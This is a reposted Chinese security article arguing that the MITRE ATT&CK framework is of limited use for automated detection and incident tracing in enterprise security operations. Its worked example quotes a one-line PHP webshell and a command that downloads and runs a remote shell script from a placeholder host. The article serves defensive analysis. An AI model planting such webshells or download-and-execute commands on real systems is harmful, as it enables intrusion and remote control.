ATT&CK框架在企业安全运营中的局限

admin
admin
admin
101398
文章
87
评论
2021年3月1日06:58:46评论105 views字数 5319阅读17分43秒阅读模式

一、 企业安全运营中的ATT&CK

ATT&CK框架是一个庞大的知识库，记载了各种各样的攻击战术和相关的具体技术方法。
长期以来，很多组织都致力于将ATT&CK框架应用在企业安全运营流程中。几乎所有实际场景中的攻击行为都能在这个框架下得到标准化的记录或解释，这使得我们可以在诸多评估/规划/情报领域使用这个框架。
但是，目前ATT&CK在安全运营实战中的表现，尤其是在自动化/智能化安全运营中的表现并不令人满意。不论是攻击检测、研判、溯源、还是处置响应，鲜有听闻从根本上基于ATT&CK框架实现的系统在攻防实战中发挥关键作用的案例。
接下来，我们将在攻击检测和跟踪溯源两个阶段分别讨论这个问题。

二、攻击检测

攻击检测能力无疑是目前企业安全运营的短板。近年来的众多红蓝对抗活动足以证明，虽然很多预防措施的不完善是责无旁贷的，但在大多数安全事件报告中，防守方“未能（及时）发现攻击”的问题都不曾缺席。
如果要将ATT&CK框架应用于攻击检测，主要思路有二。首先，ATT&CK框架的每个技术都有一个阐述攻击检测方法的Detection章节，我们可以直接遵循框架的指导来建设安全运营体系；此外，我们还可以将ATT&CK框架视为一个知识体系，对现有的安全防护进行补充完善。
接下来，我们分别讨论这两种思路的实现。
2.1 直接采用ATT&CK指定的检测方法 
作为一个案例，我们尝试采用ATT&CK框架对SQL注入攻击进行检测。SQL注入是一种常见WEB应用攻击，常年占据OWASP Top 10榜首，具有较高的参考价值。
首先，我们需要明确SQL注入攻击所涉及的ATT&CK技术。参考MITRE官方给出的事件案例，SQL注入攻击一般属于“初始访问：利用对外开放的应用程序漏洞（Initial Access: ExploitPublic-Facing Application）

Domain

ID

Name

Use

Enterprise

T1190

Exploit Public-Facing Application

APT28 has conducted SQL injection attacks against organizations'  external websites.

Enterprise

T1190

Exploit Public-Facing Application

Axiom has been observed using SQL injection to gain  access to systems.

Enterprise

T1190

Exploit Public-Facing Application

Night Dragon has performed SQL injection attacks of  extranet web servers to gain access.

Enterprise

T1190

Exploit Public-Facing Application

APT39 has used SQL injection for initial compromise.
针对该ATT&CK技术，框架给出的检测方案是：“监视应用程序日志以发现那些可能表明试探或成功的漏洞利用的异常行为。使用深度包检测来发现常见漏洞利用的流量，例如SQL注入。WEB应用防火墙可能会检测到试图利用漏洞的不正确的输入。”
大致总结，我们需要做到以下工作来检测这种攻击技术：
1、为了找出“可能表明试探性的或成功的漏洞利用的异常行为”，因此我们可能需要部署日志审计解决方案，对各种应用程序日志进行采集和分析研判；
2、为了“使用深度包检测来查找常见漏洞利用的流量”，因此我们可能需要部署NIDS或其它类似系统；
3、“WEB应用防火墙可能会检测到试图利用漏洞的不正确的输入”，因此我们可能需要部署WAF或其它类似系统。
可见ATT&CK的检测指导符合行业最佳实践，令人信服。唯一美中不足之处，就是这些方法都太“单纯”了。绝大多数企业安全运营中都会部署各种检测/防护/审计系统，它们确实能够大幅度提高攻击难度，但在实际工作中应用的效果却往往不尽人意：
1、集中日志审计/EDR的部署成本并不低。很多企业IT运维尚无法落实资产梳理，最终导致日志审计的采集范围只能限定在少数关键系统上，连互联网暴露面都无法覆盖，面对无孔不入的渗透攻击有心无力；
2、IDS/WAF的误报和漏报至今仍然是个老大难问题。要在真正意义上鉴别出攻击行为，需要高度复杂、高度抽象、高度业务相关的知识体系，即使是经验丰富的专业技术人员也未必能够稳定发挥，自动化实现就更加困难了。
其它ATT&CK战术/技术的情况也大同小异。结果来看，ATT&CK框架的指南部分作为培训资料或管理建设参考的价值很高，但不适合直接当成工具使用。整体上比较适合人类阅读而非机器执行。
2.2 将ATT&CK应用到现有的检测方法 
相比于直接采用ATT&CK框架中Detection章节的方法，将框架用于改善现有检测方法是更加容易实现的。实际上，通过ATT&CK框架对安全防护能力进行评估也是一个切实可行的方案。
但是，目前企业安全运营中，对于攻击行为的检测绝大多数情况下仍然依赖IDS/WAF等防护告警，而我们很难将具体的防护告警与ATT&CK框架关联起来。
例如，NIDS可能会产生一个类似“Apache Struts2 REST插件远程代码执行漏洞(S2-052)”这样的具体告警。我们暂时假定NIDS是完美的，绝对不会误报或者漏报。在不掌握其它信息的情况下，这个告警所指示的攻击行为可能涉及的ATT&CK战术&技术的合理推测包括：
1、 攻击者可能通过漏洞扫描器寻找S2-052漏洞并触发这个告警，属于“侦察：主动扫描（Reconnaissance: Active Scanning）”
2、使用S2-052漏洞攻击企业对外开放的信息系统，属于“初始访问：利用对外开放的应用程序漏洞（InitialAccess: Exploit Public-Facing Application）”；
3、作为一个代码注入漏洞，S2-052利用成功时直接构成“执行：命令和脚本解释器（Execution: Commandand Scripting Interpreter）”
4、根据具体执行的恶意代码内容，还可能属于“侦察（Reconnaissance）”、“执行（Execution）”、“持久化（Persistence）”、“权限提升（Privilege Escalation）”、“防御规避（Defense Evasion）”、“凭证访问（Credential Access）”、“披露/发现（Discovery）”、“横向移动（LateralMovement）”、“数据渗漏/渗出（Exfiltration）”、“影响（Impact）”十项战术中的绝大多数技术。
由此可见，实际攻击中的战术和技术，反映在原始流量/告警层面时，往往是非常复杂的组合形态。我们往往需要深入分析告警载荷和上下文其它告警后，甚至是在结合业务场景、资产信息、终端日志等诸多外部信息的情况下，才能作出相对准确的判断。
告警规则与ATT&CK战术/技术之间确实存在某种统计关系，但我们很难通过“写规则”的方法将具体告警对应到具体战术/技术。此二者之间的关联需要非常复杂的信息抽取能力和非常庞大的抽象先验知识，这是现阶段的自动系统难以实现的。
正如Mitre ATT&CK首席网络安全工程师Adam Pennington所说：“数据表明，这是客户所面临的挑战——83%的受访者表示ATT&CK框架非常全面，但他们正在手动寻找将其中一些技术映射到其框架中的方法。另一方面，由于这些攻击的本质是相互交叉的，因此问题变得棘手。从数据的角度来看，只有不到20％的客户从运营角度完全采用了ATT&CK，因此，由于缺乏这种支持，他们无法实现自动化”。

三、事件跟踪和溯源

在给定一组上下文相关的攻击行为的情况下，我们可以通过组合ATT&CK框架中的战术&技术，以一种标准化的方式描述一个完整的攻击事件。
这在企业安全运营流程的很多环节中都是颇具价值的，但当前企业安全中最关键的需求并不在这里，而是卡在了前面的环节：如何找到这样一组攻击行为并把它们关联起来呢？
攻击行为的最初发现，应该属于攻击检测的范畴，这一点前面已经讨论过了。现在假设我们已经发现了若干零散的攻击行为：
1、攻击者A对主机X上的WEB登录表单“/wp-admin/wp-login.php”进行了暴力猜测，并成功登录了WEB后台“/wp-admin/index.php”；
2、攻击者A对主机X上的FTP服务进行了暴力猜测，并以“anonymous”用户成功登录，并上传了一个文本文件“test.txt” ，文件内容为“1111111111111”；
3、攻击者A向主机X上的“/wp-admin/admin-ajax.php”上传了一个PHP脚本文件“a.php”，文件内容为一个密码为“key”的菜刀WebShell：“GIF89a<?php @eval($_POST['key'][A1] );?>”；
4、攻击者A访问主机X的“/wp-content/uploads/2020/12/1-1607668635.359.php”，有且仅有一个POST正文表单参数“key”，参数值为“passthru("/usr/bin/wget-c http://x.x.x.x:xx/cs.php -O /tmp/cs.sh && /bin/sh /tmp/cs.sh0<&1 2>&1")”。
那么要对攻击事件进行完整的跟踪和溯源，大致有以下两个方向：
3.1 给定攻击行为，分析其中关联
观察上述攻击行为，我们可以认为行为1->3->4直接相关，但它们与行为2关系不大。其中部分判断的依据是：
1、认定行为4与行为2无关，是因为文件名、文件类型、文件内容均不符。并且就算攻击者通过FTP弱口令上传文件，也没有必要写成“1-1607668635.359.php”这么长的文件名，动机上也说不通；
2、认定行为4与行为3相关，是因为行为4中访问的URL确实为行为3所利用的wpdiscuz上传漏洞的重命名模式，且行为3所上传文件代码中的菜刀密码与行为4中的POST参数名一致。
按照ATT&CK框架的分类，行为1和行为2都属于“凭证访问：暴力猜测（Credential Access: BruteForce）”，并且视情况可能也属于“初始访问（Initial Access）”中的某一类；行为3属于“持久化：服务端软件组件（Persistence: Server Software Component）”；行为4属于“命令和控制：应用层协议（Command And Control: Application Layer Protocol）”等。
可见，ATT&CK框架能够对攻击事件作出良好解释，一个完整的攻击链跃然纸上。但是框架似乎并没有对这个推理过程本身产生什么实质性的帮助。只看ATT&CK的技术，我们很难确定行为4到底是行为2的后续还是行为3的后续、行为3到底是行为1还是行为2的后续。
实际上，整个推理过程是在非常细节的层面完成的：具体的漏洞、具体的文件名和文件内容。此外，分析者还需要掌握关于FTP提权攻击、wpdiscuz上传漏洞、以及PHP WebShell代码阅读相关的具体知识。在这个推理过程中，ATT&CK框架本身几乎没有介入余地。
3.2 给定攻击行为和关联，寻找更多攻击行为 
跟踪溯源的另一个思路是，从一个或几个已确认的攻击行为出发，寻找其它潜在的攻击行为。例如，根据前述安全事件能够作出一些推测：
1、行为1中，攻击者通过FTP上传看似无害的文件test.txt。没有直接上传可执行文件，可能是由于攻击者无法确定FTP目录的真实路径。攻击者可能随后对网站进行了目录扫描，以确认test.txt是否位于网站目录内。
2、行为4中，攻击者所执行的命令为下载一个sh文件并执行。如果执行成功，主机X应该存在非法外联的行为，且可能还有更多后续攻击行为；wget命令参数中出现的C&C主机地址也应该纳入威胁情报，在其它主机上进行搜索以寻找更多相关的攻击行为。
和上面的问题类似，ATT&CK在这样的推理过程中仍然很难派上用场。更何况，将攻击行为关联到ATT&CK战术/技术，本身已经不是自动系统所能轻易实现的复杂工作了。

四、后记

从目前的行业实践情况看来，虽然ATT&CK框架对于企业信息安全建设工作具有良好的指导意义，但实战中仍然有一定局限性。
一个原因是，ATT&CK是一个比较完整的框架，我们可能缺少能够与之匹配的基础体系。如果有朝一日，我们能够完整地采集并整合所有网络侧、终端侧、业务侧的日志，也许就能够为ATT&CK框架的实战应用带来有利的土壤。
但至少在现阶段，我们尚未找到较好的突破口，能够将ATT&CK与企业安全运营流程有机结合起来。如何真正利用ATT&CK框架解决企业安全工作中的实际问题，将会是未来一段时间的一个重要的研究方向。


原文来源：绿盟科技研究通讯

ATT&CK框架在企业安全运营中的局限

本文始发于微信公众号（网络安全应急技术国家工程实验室）：ATT&CK框架在企业安全运营中的局限

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年3月1日06:58:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   ATT&CK框架在企业安全运营中的局限http://cn-sec.com/archives/275982.html

发表评论

匿名网友 填写信息